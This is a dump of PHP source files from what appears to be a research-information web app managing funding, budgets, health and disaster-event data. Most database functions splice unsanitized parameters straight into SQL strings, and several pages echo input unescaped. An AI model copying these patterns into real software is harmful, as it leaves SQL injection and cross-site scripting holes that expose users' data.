function updatefundingorganizationtype($name,$description,$id)
{
require_once('dbconnect.php');
$query="UPDATE funding_organization_type SET name ='$name', description='$description' WHERE fundingorganization_typeID= '$id'";
$con=createconnection();
if (isset($query)){
$result=mysqli_query($con,$query);
return TRUE;
}
$con->close();
}
<file_sep><?php
function getallfundingorganization() {
require_once('dbconnect.php');
$query = "SELECT f.fundingorganizationID, f.fundingorganization_name, f.description, (SELECT fot.name FROM funding_organization_type fot WHERE fot.fundingorganization_typeID=f.fundingorganization_type) AS 'organizationType' FROM funding f WHERE active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function setfunding($name, $description, $type) {
$datenow = date("Y-m-d H:i:s");
require_once('dbconnect.php');
$query = "INSERT INTO funding (fundingorganization_name,description,fundingorganization_type) VALUES ('$name','$description','$type')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $query;
}
$con->close();
}
function deactivatefunding($id) {
$datenow = date("Y-m-d H:i:s");
require_once('dbconnect.php');
$query = "UPDATE FUNDING SET ACTIVE=0 WHERE fundingorganizationID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getfundingbyid($id) {
require_once('dbconnect.php');
$query = "SELECT * FROM funding WHERE active = 1 AND fundingorganizationID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function updatefunding($name, $description, $type, $id) {
require_once('dbconnect.php');
$query = "UPDATE funding SET fundingorganization_name='$name', description='$description', fundingorganization_type='$type' WHERE fundingorganizationID= '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
<file_sep>
<!DOCTYPE html>
<html lang="en">
<!--<![endif]-->
<!-- BEGIN HEAD -->
<?php include_once ('controller/c_complete_project_information.php'); ?>
<head>
<?php
include_once ('dependencies/top_resources.php');
if (count($_FILES) > 0) {
if (is_uploaded_file($_FILES['userImage']['tmp_name'])) {
$imgData = addslashes(file_get_contents($_FILES['userImage']['tmp_name']));
$imageProperties = getimageSize($_FILES['userImage']['tmp_name']);
submit_project_data($imageProperties, $imgData);
}
}
?>
</head>
<!-- END HEAD -->
<body class="page-container-bg-solid page-md">
<div class="page-wrapper">
<div class="page-wrapper-row">
<div class="page-wrapper-top">
<!-- BEGIN HEADER -->
<?php include_once ('functions/header.php'); ?>
<!-- END HEADER -->
</div>
</div>
<div class="page-wrapper-row full-height">
<div class="page-wrapper-middle">
<!-- BEGIN CONTAINER -->
<div class="page-container">
<!-- BEGIN CONTENT -->
<div class="page-content-wrapper">
<!-- BEGIN CONTENT BODY -->
<!-- BEGIN PAGE HEAD-->
<div class="page-head">
<div class="container">
<!-- BEGIN PAGE TITLE -->
<div class="page-title">
<h1>Questionnaire</h1>
</div>
<!-- END PAGE TITLE -->
<!-- BEGIN PAGE TOOLBAR -->
<div class="page-toolbar">
</div>
<!-- END PAGE TOOLBAR -->
</div>
</div>
<!-- END PAGE HEAD-->
<!-- BEGIN PAGE CONTENT BODY -->
<div class="page-content">
<div class="container">
<!-- BEGIN PAGE BREADCRUMBS -->
<ul class="page-breadcrumb breadcrumb">
<li>
<span>Data Collection</span>
<i class="fa fa-circle"></i>
</li>
<li>
<span>Questionnaire</span>
</li>
</ul>
<!-- END PAGE BREADCRUMBS -->
<div class="page-content-inner">
<!-- BEGIN PAGE CONTENT INNER -->
<div class="page-content-inner">
<div class="row">
<div class="col-md-14">
<div class="portlet light ">
<div class="portlet-title">
<div class="caption">
<span class="caption-subject font-green bold uppercase">GENERATE QUESTIONNAIRE</span>
</div>
</div>
<div class="portlet-body">
<div class="form-group">
<label for="default" class="control-label">Title</label>
<input id="default" type="text" class="form-control" placeholder="Title"> </div>
<div class="form-group">
<label for="single" class="control-label">Objective</label>
<textarea class="form-control" rows="4" placeholder="Objective"></textarea>
</div>
<div class="form-group">
<label for="single" class="control-label">Date Created</label>
<input class="form-control" id="mask_date2" type="text">
</div>
<div class="form-group">
<label for="single" class="control-label">Date Approved</label>
<input class="form-control" id="mask_date2" type="text">
</div>
<div class="form-group">
<label for="single" class="control-label">Questions</label>
<textarea class="form-control" rows="4" placeholder="Questions"></textarea>
</div>
</div>
<button class="btn btn-info" type="submit">Submit Questionnaire</button>
</div
</div>
</div>
</div>
</div>
</div>
</div>
<!-- END PAGE CONTENT INNER -->
</div>
</div>
<!-- END PAGE CONTENT BODY -->
<!-- END CONTENT BODY -->
</div>
<!-- END CONTENT -->
<!-- BEGIN QUICK SIDEBAR -->
<a href="javascript:;" class="page-quick-sidebar-toggler">
<i class="icon-login"></i>
</a>
<!-- END QUICK SIDEBAR -->
</div>
<!-- END CONTAINER -->
</div>
</div>
<div class="page-wrapper-row">
<div class="page-wrapper-bottom">
<!-- BEGIN FOOTER -->
<?php include_once ('functions/footer.php'); ?>
<!-- END FOOTER -->
</div>
</div>
</div>
<!--[if lt IE 9]>
<script src="assets/global/plugins/respond.min.js"></script>
<script src="assets/global/plugins/excanvas.min.js"></script>
<script src="assets/global/plugins/ie8.fix.min.js"></script>
<![endif]-->
<?php include_once ('dependencies/bottom_resources.php'); ?>
<script>$(document).ready(function () {
$('.js-example-basic-single').select2();
});</script>
</body>
</html><file_sep>
<?php
require_once 'model/m_project_budget.php';
require_once 'model/m_method_of_receivingfunding.php';
require_once 'model/m_budget_category.php';
function submit_budget($amount, $remarks, $project, $budgetcategory, $budgetmethod) {
$controller_result = setprojectbudget($amount, $remarks, $project, $budgetcategory, $budgetmethod);
return $controller_result;
}
function generate_all_budget() {
$result = array();
$result = getallbudget();
return $result;
}
function generate_all_budgetcategory() {
$result = array();
$result = getallbudgetcategory();
return $result;
}
function generate_all_budgetmethod() {
$result = array();
$result = getallmethodofreceivingfunding();
return $result;
}
function generatetotalbudget() {
$budgetsum = getbudgetsum();
foreach ($budgetsum as $arr_result) {
$budget=$arr_result['amount'];
}
return $budget;
}<file_sep><?php include_once ('dependencies/top_resources.php');?>
<!-- BEGIN ROW -->
<div class="row">
<div class="col-md-12">
<!-- BEGIN CHART PORTLET-->
<div class="portlet light ">
<div class="portlet-title">
<div class="caption">
<span class="caption-subject bold uppercase font-green-haze">SUM OF ALL EVENT DATA</span>
</div>
<div class="tools">
<a href="javascript:;" class="collapse"> </a>
<a href="javascript:;" class="fullscreen"> </a>
</div>
</div>
<div class="portlet-body">
<div id="chartdiv" style="width:100%;height:500px"></div>
</div>
</div>
<!-- END CHART PORTLET-->
</div>
</div>
<!-- END ROW -->
<?php include_once ('dependencies/bottom_resources.php');?>
<script>
var chart = AmCharts.makeChart( "chartdiv", {
"type": "pie",
"theme": "light",
"dataProvider":
<?php require_once 'data.php';
$year=null;
$month=null;
$region=null;
$city=null;
$incident=null;
$barangay=null;
$uploadedBy=null;
$uploadDate=null;
sumed($year, $month, $region, $city, $incident, $barangay, $uploadedBy, $uploadDate);?>,
"valueField": "num_of_deaths",
"titleField": "incident",
"outlineAlpha": 0.4,
"depth3D": 15,
"balloonText": "[[title]]<br><span style='font-size:14px'><b>[[value]]</b> ([[percents]]%)</span>",
"angle": 30,
"export": {
"enabled": true
}
} );</script>
<file_sep>
<?php
require_once 'model/m_budget_category.php';
function submit_budgetcategory($name, $description) {
$controller_result = setbudgetcategory($name, $description);
return 1;
}
function generate_all_budgetcategory() {
$result = array();
$result = getallbudgetcategory();
return $result;
}
function delete_budgettype($deactivate) {
$controller_result = deactivatebudgetcategory($deactivate);
return 2;
}
function getupdate_budgettype($update) {
$result = array();
$result = getbudgetcategory($update);
return $result;
}
function submitupdate_budgettype($name, $description, $id) {
$controller_result = updatebudgetcategory($name, $description, $id);
return 3;
}
<file_sep><?php
function getrrlkeyword($keyword) {
require_once('dbconnect.php');
$query = "SELECT keywordID FROM keyword WHERE keyword='$keyword'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $result;
}
$con->close();
}
function setrrlkeyword($keyword){
require_once('dbconnect.php');
$rrlID = getlast();
$keywordID = getkeyword($keyword);
$query = "INSERT INTO rrl (rrlID,keywordID) VALUES('$rrlID', '$keywordID')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $query;
} else {
return $query;
}
$con->close();
}
?>
<file_sep><?php
function getallhealth_data() {
require_once('dbconnect.php');
$query = "SELECT hd.*, (SELECT d.disease FROM diseases d WHERE d.diseaseID=hd.diseaseID) AS 'disease', (SELECT GROUP_CONCAT(way SEPARATOR ',') FROM ways_spreading ws WHERE ws.ways_spreadingID IN (SELECT dc.waysID FROM disease_communicable dc WHERE dc.diseaseID=hd.diseaseID)) AS 'communicable by', (SELECT CONCAT(u.firstname, u.lastname) FROM user u WHERE u.userID=hd.uploadedBy) AS 'uploadedBy' FROM health_data hd WHERE active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function getallhealth_data_communicable() {
require_once('dbconnect.php');
$query = "SELECT hd.*, (SELECT d.disease FROM diseases d WHERE d.diseaseID=hd.diseaseID) AS 'disease' FROM health_data hd WHERE active = 1 AND hd.diseaseID IN (SELECT d.diseaseID FROM diseases d WHERE d.communicable = 1)";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function getallhealth_data_noncommunicable() {
require_once('dbconnect.php');
$query = "SELECT hd.*, (SELECT d.disease FROM diseases d WHERE d.diseaseID=hd.diseaseID) AS 'disease' FROM health_data hd WHERE active = 1 AND hd.diseaseID IN (SELECT d.diseaseID FROM diseases d WHERE d.communicable = 0)";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function upload_health_data($projectID, $year, $month, $region, $city, $disease, $infected, $uploadedBy) {
$datenow = date("Y-m-d H:i:s");
require_once('dbconnect.php');
$query = "INSERT INTO health_data (projectID,year,month,region,city,diseaseID,infected,uploadedBy,uploadDate) VALUES('$projectID','$year','$month','$region','$city','$disease','$infected','$uploadedBy','$datenow')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $query;
} else {
return $query;
}
}
?>
<file_sep>
<?php
require_once 'model/m_method_of_receivingfunding.php';
function submit_methodofreceivingfunding($name, $description) {
$controller_result = setmethodofreceivingfunding($name, $description);
return 1;
}
function generate_all_methodofreceivingfunding() {
$result = array();
$result = getallmethodofreceivingfunding();
return $result;
}
function delete_methodbudget($deactivate) {
$controller_result = deactivateregistermethodbudget($deactivate);
return 2;
}
function getupdate_methodbudget($update) {
$result = array();
$result = getmethodofreceivingfundingbyid($update);
return $result;
}
function submitupdate_methodofreceivingfunding($name, $description, $id) {
$controller_result = updatemethodofreceivingfunding($name, $description, $id);
return 3;
}
<file_sep>
<!DOCTYPE html>
<html lang="en">
<!--<![endif]-->
<!-- BEGIN HEAD -->
<?php include_once ('controller/c_update_project.php');?>
<head>
<?php include_once ('dependencies/top_resources.php');?>
<?php
if (isset($_POST['pName'])&&isset($_POST['pDescription'])&&isset($_POST['pStart'])&&isset($_POST['pEnd'])&&isset($_POST['id'])){
$view_result= submit_projectform($_POST['pName'],$_POST['pDescription'],$_POST['pStart'],$_POST['pEnd'],$_POST['id']);
header("Location: manage_project.php");
}
?>
</head>
<!-- END HEAD -->
<body class="page-container-bg-solid page-md">
<div class="page-wrapper">
<div class="page-wrapper-row">
<div class="page-wrapper-top">
<!-- BEGIN HEADER -->
<?php include_once ('functions/header.php');?>
<!-- END HEADER -->
</div>
</div>
<div class="page-wrapper-row full-height">
<div class="page-wrapper-middle">
<!-- BEGIN CONTAINER -->
<div class="page-container">
<!-- BEGIN CONTENT -->
<div class="page-content-wrapper">
<!-- BEGIN CONTENT BODY -->
<!-- BEGIN PAGE HEAD-->
<div class="page-head">
<div class="container">
<!-- BEGIN PAGE TITLE -->
<div class="page-title">
<h1>Update Project</h1>
</div>
<!-- END PAGE TITLE -->
<!-- BEGIN PAGE TOOLBAR -->
<div class="page-toolbar">
</div>
<!-- END PAGE TOOLBAR -->
</div>
</div>
<!-- END PAGE HEAD-->
<!-- BEGIN PAGE CONTENT BODY -->
<div class="page-content">
<div class="container">
<!-- BEGIN PAGE BREADCRUMBS -->
<ul class="page-breadcrumb breadcrumb">
<li>
<span>Administrative</span>
<i class="fa fa-circle"></i>
</li>
<li>
<span>Update Project</span>
</li>
</ul>
<!-- END PAGE BREADCRUMBS -->
<?php $query_result=getprojectinfo($_SESSION['updateid']);
$id=$_SESSION['updateid'];
unset($_SESSION['updateid']);
if($query_result!=FALSE){
foreach ($query_result as $project){
$name=$project['name'];
$description=$project['description'];
$startdate=$project['startdate'];
$enddate=$project['enddate'];
}
}
?>
<!-- BEGIN PAGE CONTENT INNER -->
<form action="<?php ($_SERVER["PHP_SELF"])?>" method="post">
<div class="page-content-inner">
<!----BODY--->
<div class="page-content-inner">
<!----BODY--->
<div class="row">
<div class="col-md-12 col-sm-12">
<div class="portlet light ">
<div class="portlet-title">
<div class="caption caption-md">
<i class="icon-bar-chart font-dark hide"></i>
<span class="caption-subject font-green-steel uppercase bold">INPUT PROJECT DETAILS</span>
</div>
</div>
<div class="portlet-body">
<div class="row list-separated">
<div class="col-md-10">
<div class="form-group">
<label for="exampleInputEmail1">Name</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Name" name="pName" value="<?php echo $name; ?>" required>
</div>
<div class="form-group">
<label for="exampleInputEmail1">Description</label>
<textarea class="form-control" aria-describedby="emailHelp" placeholder="Description" name="pDescription" required><?php echo $description; ?></textarea>
</div>
<div class="form-group">
<label for="exampleInputEmail1">Start Date</label>
<input type="date" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" name="pStart" value="<?php echo $startdate; ?>" required>
</div>
<div class="form-group">
<label for="exampleInputEmail1">End Date</label>
<input type="date" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" name="pEnd" value="<?php echo $enddate; ?>" required>
</div>
<input type="hidden" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" name="id" value="<?php echo $id; ?>" >
<input type="submit" class="btn btn-info" value="UPDATE PROJECT INFORMATION" onClick="alert('The project has been registered to he system')">
<div class="pull-left">
</div>
</div>
</div>
<ul class="list-separated list-inline-xs hide">
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
</form>
<!-- END PAGE CONTENT INNER -->
</div>
</div>
<!-- END PAGE CONTENT BODY -->
<!-- END CONTENT BODY -->
</div>
<!-- END CONTENT -->
<!-- BEGIN QUICK SIDEBAR -->
<a href="javascript:;" class="page-quick-sidebar-toggler">
<i class="icon-login"></i>
</a>
<!-- END QUICK SIDEBAR -->
</div>
<!-- END CONTAINER -->
</div>
</div>
<div class="page-wrapper-row">
<div class="page-wrapper-bottom">
<!-- BEGIN FOOTER -->
<?php include_once ('functions/footer.php');?>
<!-- END FOOTER -->
</div>
</div>
</div>
<!--[if lt IE 9]>
<script src="assets/global/plugins/respond.min.js"></script>
<script src="assets/global/plugins/excanvas.min.js"></script>
<script src="assets/global/plugins/ie8.fix.min.js"></script>
<![endif]-->
<?php include_once ('dependencies/bottom_resources.php');?>
</body>
</html><file_sep>
<?php
require_once 'model/m_project_expenses.php';
require_once 'model/m_method_of_expense.php';
require_once 'model/m_expense_category.php';
function submit_expense($amount, $remarks, $project, $expensecategory, $expensemethod) {
$controller_result = setprojectexpenses($amount, $remarks, $project, $expensecategory, $expensemethod);
return TRUE; }
function generate_all_expenses() {
$result = array();
$result = getallexpenses();
return $result;
}
function generate_all_expensecategory() {
$result = array();
$result = getallexpensecategory();
return $result;
}
function generate_all_expensemethod() {
$result = array();
$result = getallmethodofexpense();
return $result;
}
function delete_categoryexpense($deactivate) {
$controller_result = deactivateexpensecategory($deactivate);
}
function getupdate_expensecategory($update) {
$result = array();
$result = getexpensecategory($update);
return $result;
}
function submitupdate_expensecategory($name, $description, $id) {
$controller_result = updateexpensecategory($name, $description, $id);
}
function generatetotalexpense() {
$budgetsum = getexpensesum();
foreach ($budgetsum as $arr_result) {
$budget=$arr_result['amount'];
}
return $budget;
}<file_sep><?php
function getalleventdata(){
require_once('dbconnect.php');
$query = "SELECT ed.*,CONCAT(u.firstname, u.lastname) AS 'uploadedBy' FROM event_data ed JOIN user u ON ed.uploadedBy=u.userID WHERE ed.active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function upload_eventdata($projectID,$region,$year,$month,$incident,$municipality,$barangay,$number_of_deaths,$number_of_incidents,$uploadedBy){
$datenow = date("Y-m-d H:i:s");
require_once('dbconnect.php');
$query = "INSERT INTO event_data (projectID,region,year,month,incident,municipality,barangay,number_of_deaths,number_of_incidents,uploadedBy,uploadDate) VALUES('$projectID','$region','$year','$month','$incident','$municipality','$barangay','$number_of_deaths','$number_of_incidents','$uploadedBy','$datenow')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $query;
} else {
return $query;
}
}
?>
<file_sep><?php
require_once ('model/m_health_infrastructure_damages.php');
require_once ('model/m_facilities.php');
function submit_health_infrastructure_damages($projectID, $data, $userid) {
if ($data['type'] == "application/vnd.ms-excel") {
$fh = fopen($data['tmp_name'], 'r+');
$lines = array();
while (($row = fgetcsv($fh, 8192)) !== FALSE) {
$lines[] = $row;
}
$x = 0;
$arr_content = array();
$checker = array();
foreach ($lines as $arr_result) {
if ($x > 0) {
$year = $arr_result[0];
if ($year == NULL) {
array_push($checker, $x);
}
$month = $arr_result[1];
if ($month == NULL || !is_string($month)) {
array_push($checker, $x);
}
$region = $arr_result[2];
if ($region == NULL || !is_string($region)) {
array_push($checker, $x);
}
$city = $arr_result[3];
if ($city == NULL || !is_string($city)) {
array_push($checker, $x);
}
$barangay = $arr_result[4];
if ($barangay == NULL || !is_string($barangay)) {
array_push($checker, $x);
}
$d = $arr_result[5];
$facility = comparefacility($d);
if ($facility <= 0) {
array_push($checker, $x);
}
$existing = $arr_result[6];
if ($existing == NULL || $existing < 0) {
array_push($checker, $x);
}
$available_for_use = $arr_result[7];
if ($available_for_use < 0) {
array_push($checker, $x);
}
$damaged_by_event_incident = $arr_result[8];
if ($damaged_by_event_incident < 0) {
array_push($checker, $x);
}
$functional = $arr_result[9];
if ($functional == "YES") {
$functional = 1;
} else {
$functional = 2;
}
if ($functional == NULL) {
array_push($checker, $x);
}
$newdata = array(
'year' => $year,
'month' => $month,
'region' => $region,
'city' => $city,
'barangay' => $barangay,
'facility' => $facility,
'existing' => $existing,
'available_for_use' => $available_for_use,
'damaged_by_event_incident' => $damaged_by_event_incident,
'functional' => $functional,
'uploadedby' => $userid,
'project' => $projectID
);
array_push($arr_content, $newdata);
}
$x++;
}
if ($checker == NULL) {
foreach ($arr_content as $line) {
$year = $line['year'];
$month = $line['month'];
$region = $line['region'];
$city = $line['city'];
$barangay = $line['barangay'];
$facility = $line['facility'];
$existing = $line['existing'];
$available_for_use = $line['available_for_use'];
$damaged_by_event_incident = $line['damaged_by_event_incident'];
$functional = $line['functional'];
$uploadedBy = $line['uploadedby'];
$projectID = $line['project'];
uploadhealthinfrastructuredamages($projectID, $year, $month, $region, $city, $barangay, $facility, $existing, $available_for_use, $damaged_by_event_incident, $functional, $uploadedBy);
}
return 1;
} else {
return $checker;
}
}
}
function submit_form_health_infrastructure_damages($projectid, $infradamage, $infradamagetype, $hospital, $hospitallevel, $watersysdamage, $watersysdamagetype, $userid) {
$controller_result = uploadhealthinfrastructuredamages($projectid, $infradamage, $infradamagetype, $hospital, $hospitallevel, $watersysdamage, $watersysdamagetype, $userid);
echo "<script type='text/javascript'>alert('Health Infrastructure Damages entry successfully uploaded!');</script>";
header('Location: visualization_healthinfrastructure.php');
}
function comparefacility($facility) {
$result = getfacilitybytext($facility);
if ($result != FALSE) {
foreach ($result as $arr_result) {
$keyID = $arr_result['facilitiesID'];
}
return $keyID;
} else {
return 0;
}
}
?>
<file_sep><?php
session_start();
ob_start();
?>
<meta charset="utf-8" />
<title>SDRC-RIS: Dashboard</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta content="width=device-width, initial-scale=1" name="viewport" />
<meta content="Preview page of Metronic Admin Theme #3 for " name="description" />
<meta content="" name="author" />
<!-- BEGIN GLOBAL MANDATORY STYLES -->
<link href="http://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700&subset=all" rel="stylesheet" type="text/css" />
<link href="assets/global/plugins/font-awesome/css/font-awesome.css" rel="stylesheet" type="text/css" />
<link href="assets/global/plugins/simple-line-icons/simple-line-icons.css" rel="stylesheet" type="text/css" />
<link href="assets/global/plugins/bootstrap/css/bootstrap.css" rel="stylesheet" type="text/css" />
<link href="assets/global/plugins/bootstrap-switch/css/bootstrap-switch.css" rel="stylesheet" type="text/css" />
<!-- END GLOBAL MANDATORY STYLES -->
<!-- BEGIN DATA TABLES PAGE LEVEL PLUGINS -->
<link href="assets/global/plugins/datatables/datatables.min.css" rel="stylesheet" type="text/css" />
<link href="assets/global/plugins/datatables/plugins/bootstrap/datatables.bootstrap.css" rel="stylesheet" type="text/css" />
<link href="assets/global/plugins/bootstrap-datepicker/css/bootstrap-datepicker3.min.css" rel="stylesheet" type="text/css" />
<!-- END DATA TABLES PAGE LEVEL PLUGINS -->
<!-- BEGIN PAGE LEVEL PLUGINS -->
<link href="assets/global/plugins/bootstrap-daterangepicker/daterangepicker.css" rel="stylesheet" type="text/css" />
<link href="assets/global/plugins/morris/morris.css" rel="stylesheet" type="text/css" />
<link href="assets/global/plugins/fullcalendar/fullcalendar.css" rel="stylesheet" type="text/css" />
<link href="assets/global/plugins/jqvmap/jqvmap/jqvmap.css" rel="stylesheet" type="text/css" />
<!-- END PAGE LEVEL PLUGINS -->
<!-- TAG INPUTS -->
<link href="assets/global/plugins/bootstrap-tagsinput/bootstrap-tagsinput.css" rel="stylesheet" type="text/css" />
<link href="assets/global/plugins/bootstrap-tagsinput/bootstrap-tagsinput-typeahead.css" rel="stylesheet" type="text/css" />
<!-- END TAG INPUTS -->
<!-- BEGIN SWEET ALERTS -->
<link href="assets/global/plugins/bootstrap-sweetalert/sweetalert.css" rel="stylesheet" type="text/css" />
<!-- END SWEET ALERTS -->
<!-- BEGIN SELECT2 -->
<link href="assets/pages/css/select2.min.css" rel="stylesheet" type="text/css" />
<!-- END SELECT2 -->
<!-- BEGIN SEARCH BAR -->
<link href="assets/pages/css/search.css" rel="stylesheet" type="text/css" />
<!-- END SEARCH BAR -->
<!-- BEGIN THEME GLOBAL STYLES -->
<link href="assets/global/css/components-md.css" rel="stylesheet" id="style_components" type="text/css" />
<link href="assets/global/css/plugins-md.css" rel="stylesheet" type="text/css" />
<!-- END THEME GLOBAL STYLES -->
<!-- BEGIN THEME LAYOUT STYLES -->
<link href="assets/layouts/layout3/css/layout.css" rel="stylesheet" type="text/css" />
<link href="assets/layouts/layout3/css/themes/default.min.css" rel="stylesheet" type="text/css" id="style_color" />
<link href="assets/layouts/layout3/css/custom.css" rel="stylesheet" type="text/css" />
<!-- END THEME LAYOUT STYLES -->
<!-- BEGIN AMCHARTS CSS-->
<link href="assets/global/css/export.css" rel="stylesheet" type="text/css" media="all"/>
<!-- END AMCHARTS CSS-->
<link rel="icon" href="favicon.png">
<file_sep><?php
function getallhealthinfrastructuredamages() {
require_once('dbconnect.php');
$query = "SELECT hid.*, CONCAT(u.firstname, u.lastname) FROM health_infrastructure_damages hid JOIN user u ON hid.uploadedBy=u.userID WHERE active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function get_facilityID($f) {
require_once('dbconnect.php');
$query = "SELECT facilitiesID FROM facilities WHERE name LIKE '%$f%'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $result;
}
$con->close();
}
function uploadhealthinfrastructuredamages($projectID, $year, $month, $region, $city, $barangay, $facility, $existing, $available_for_use, $damaged_by_event_incident, $functional, $uploadedBy) {
$datenow = date("Y-m-d H:i:s");
require_once('dbconnect.php');
$query = "INSERT INTO health_infrastructure_damages (projectID,year,month,region,city,barangay,facility,existing,available_for_use,damaged_by_event_incident,functional,uploadedBy,uploadDate) VALUES('$projectID','$year','$month','$region','$city','$barangay','$facility','$existing','$available_for_use','$damaged_by_event_incident','$functional','$uploadedBy','$datenow')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
} else {
return FALSE;
}
}
?>
<file_sep><?php
require_once 'model/m_user.php';
function submit_userform($firstname, $middlename, $lastname, $email, $password1, $password2, $specializations, $masters, $doctorate) {
if ($password1 == $password2) {
$controller_result = setuser($firstname, $middlename, $lastname, $email, $password1, $specializations, $masters, $doctorate);
$_SESSION['page_result']="SUCCESS";
header("Location: manage_user.php");
} else {
return 2;
}
}
<file_sep><?php
function getallexpensecategory() {
require_once('dbconnect.php');
$query = "SELECT * FROM expense_category WHERE active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function setexpensecategory($name, $description) {
$datenow = date("Y-m-d H:i:s");
require_once('dbconnect.php');
$query = "INSERT INTO expense_category (name,description) VALUES ('$name','$description')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function deactivateexpensecategory($id) {
require_once('dbconnect.php');
$query = "UPDATE expense_category SET ACTIVE=0 WHERE expensecategoryID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getexpensecategory($id) {
require_once('dbconnect.php');
$query = "SELECT * FROM expense_category WHERE active = 1 AND expensecategoryID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function updateexpensecategory($name, $description, $id) {
require_once('dbconnect.php');
$query = "UPDATE expense_category SET name='$name', description='$description' WHERE expensecategoryID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
<file_sep>
<?php
require_once 'model/m_type_of_literature.php';
function submit_typeofliterature($name, $description) {
$controller_result = settypeofliterature($name, $description);
return 1;
}
function generate_all_typeofliterature() {
$result = array();
$result = getalltypeofliterature();
return $result;
}
function delete_typeofliterature($deactivate) {
$controller_result = deactivatetypeofliterature($deactivate);
return 2;
}
function getupdate_typeofliterature($update) {
$result = array();
$result = gettypeofliterature($update);
return $result;
}
function submitupdate_typeofliterature($name, $description, $id) {
$controller_result = updatetypeofliterature($name, $description, $id);
return 3;
}
<file_sep><?php
function setprojectdata($projectid, $filename, $fileproperties, $data) {
require_once('dbconnect.php');
$query = "INSERT INTO project_file (projectID,fileName,fileType,fileData) VALUES ('$projectid','$filename','$fileproperties','$data')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getprojectdatabyprojectid($id) {
require_once('dbconnect.php');
$query = "SELECT * FROM project_file where projectID = '$id' AND active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
<file_sep><?php
function getallbudget() {
require_once('dbconnect.php');
$query = "SELECT pb.amount,remarks,date,bc.name as 'budgetcategoryname',mr.name as 'budgetmethodname' FROM budget_category bc JOIN project_budget pb ON bc.budget_categoryID=pb.budget_type JOIN method_of_receivingfunding mr ON pb.budget_recievedThrough=mr.registration_methodID WHERE PB.ACTIVE=1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
